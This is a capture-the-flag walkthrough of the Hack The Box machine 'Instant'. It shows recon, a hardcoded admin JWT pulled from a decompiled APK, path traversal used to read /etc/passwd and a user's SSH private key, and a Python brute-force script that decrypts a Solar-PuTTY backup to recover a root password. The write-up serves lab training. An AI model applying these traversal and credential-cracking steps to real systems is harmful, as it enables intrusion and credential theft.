Recon

Nmap

The first thing that I do is run nmap scan that show this results:

  
┌──(kali㉿kali)-[~/htb/machine/instant]
└─$ nmap -sV -sC --min-rate=1000 -p- 10.10.11.37 -o nmap
# Nmap 7.94SVN scan initiated Wed Oct 23 02:45:56 2024 as: nmap -sV -sC --min-rate=1000 -p- -o nmap 10.10.11.37
Nmap scan report for 10.10.11.37
Host is up (0.27s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Did not follow redirect to http://instant.htb/
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Oct 23 02:47:42 2024 -- 1 IP address (1 host up) scanned in 106.42 seconds

From the nmap results, we can see that there is port 80 which is a web service that running on the server and on port 22 is SSH.

Website - TCP 80

First of all, we can add the IP to our /etc/host folder as instant.htb

  
kali@kali$ sudo nano /etc/host
10.10.11.37 instant.htb

Exploit

Take a look in the website, and i can get an .apk file, download it and use jadx to convert to java code.

jadx -d /home/kali/htb/machine/instant/out /home/kali/htb/machine/instant/instant.apk

And find grep instant.htb to get some information

grep -r instant.htb

Result of grep command is

  
gobuster:/css                  (Status: 301) [Size: 308] [--> http://instant.htb/css/]
gobuster:/downloads            (Status: 301) [Size: 314] [--> http://instant.htb/downloads/]
gobuster:/img                  (Status: 301) [Size: 308] [--> http://instant.htb/img/]
gobuster:/javascript           (Status: 301) [Size: 315] [--> http://instant.htb/javascript/]
gobuster:/js                   (Status: 301) [Size: 307] [--> http://instant.htb/js/]
nmap:|_http-title: Did not follow redirect to http://instant.htb/
nmap:Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
out/sources/com/instantlabs/instant/ProfileActivity.java:            new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", accessToken).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.ProfileActivity.1
out/sources/com/instantlabs/instant/TransactionActivity.java:        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/initiate/transaction").addHeader("Authorization", str4).post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new AnonymousClass2(str5, str4));
out/sources/com/instantlabs/instant/TransactionActivity.java:                        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/confirm/pin").header("Authorization", this.val$access_token).post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.TransactionActivity.2.2
out/sources/com/instantlabs/instant/LoginActivity.java:        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/login").post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.LoginActivity.4
out/sources/com/instantlabs/instant/AdminActivities.java:        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/view/profile").addHeader("Authorization", "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA").build()).enqueue(new Callback() { // from class: com.instantlabs.instant.AdminActivities.1
out/sources/com/instantlabs/instant/RegisterActivity.java:        new OkHttpClient().newCall(new Request.Builder().url("http://mywalletv1.instant.htb/api/v1/register").post(RequestBody.create(MediaType.parse("application/json"), jsonObject.toString())).build()).enqueue(new Callback() { // from class: com.instantlabs.instant.RegisterActivity.3
grep: out/resources/classes.dex: binary file matches
out/resources/res/xml/network_security_config.xml:        <domain includeSubdomains="true">mywalletv1.instant.htb
out/resources/res/xml/network_security_config.xml:        <domain includeSubdomains="true">swagger-ui.instant.htb
out/resources/res/layout/activity_forgot_password.xml:            android:text="Please contact support@instant.htb to have your account recovered"

We can see the website have 2 subdomain is mywalletv1 and swagger-ui, add 2 host to /etc/hosts

And a special information about a hardcode JWT token authentication of admin eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA

Use this authentication in swagger requests to get admin and get a lfi in read log api

First we get /etc/passwd, so we get username of user account is shirohige

Second, we get key ssh of shirohige by path ../.ssh/id_rsa so now we have a foothold in system

Privilege Escalation

To start, i upload linpeas.sh and run. Read the report, i find out that 2 file is suspicious including /var/lib/PackageKit/transactions.db and /opt/backups/Solar-PuTTY/sessions-backup.dat

First, download 2 file take a look to transactions.db, i can not find anything interesting

Second, in the sessions-backup.dat, search for decrypting the session encryption, i find a tools in github repo

Download and write a python file to brute force password in solar putty with rockyou dictionary

  
import subprocess
import os
passdata = "rockyou.txt"
session = "sessions-backup.dat"
decrypt = "SolarPuttyDecrypt.exe"

with open(passdata, 'rb') as f:
    for password in f:
        password = password.strip()
        print(f"Trying: {password}")
        s = subprocess.run([decrypt, session, password], capture_output=True, text=True)

        if s.returncode == 0:
            os.system(f".\{decrypt} .\{session} {password}")
            print(password)
            break

So we can get the password is estrella and data in session-backup.dat after decrypting is

  
{
  "Sessions": [
    {
      "Id": "066894ee-635c-4578-86d0-d36d4838115b",
      "Ip": "10.10.11.37",
      "Port": 22,
      "ConnectionType": 1,
      "SessionName": "Instant",
      "Authentication": 0,
      "CredentialsID": "452ed919-530e-419b-b721-da76cbe8ed04",
      "AuthenticateScript": "00000000-0000-0000-0000-000000000000",
      "LastTimeOpen": "0001-01-01T00:00:00",
      "OpenCounter": 1,
      "SerialLine": null,
      "Speed": 0,
      "Color": "#FF176998",
      "TelnetConnectionWaitSeconds": 1,
      "LoggingEnabled": false,
      "RemoteDirectory": ""
    }
  ],
  "Credentials": [
    {
      "Id": "452ed919-530e-419b-b721-da76cbe8ed04",
      "CredentialsName": "instant-root",
      "Username": "root",
      "Password": "12**24nzC!r0c%q12",
      "PrivateKeyPath": "",
      "Passphrase": "",
      "PrivateKeyContent": null
    }
  ],
  "AuthScript": [],
  "Groups": [],
  "Tunnels": [],
  "LogsFolderDestination": "C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\SessionLogs"
}

Now use credentials to get the root

WE ARE ROOT NOW !!

Box Rooted

If you find my articles interesting, you can buy me a coffee

Hack The Box - Instant

Recon

Nmap

Website - TCP 80

Exploit

Privilege Escalation

Box Rooted

Further Reading

Cheatsheet

Hack The Box - Trickster

Hack The Box - Chemistry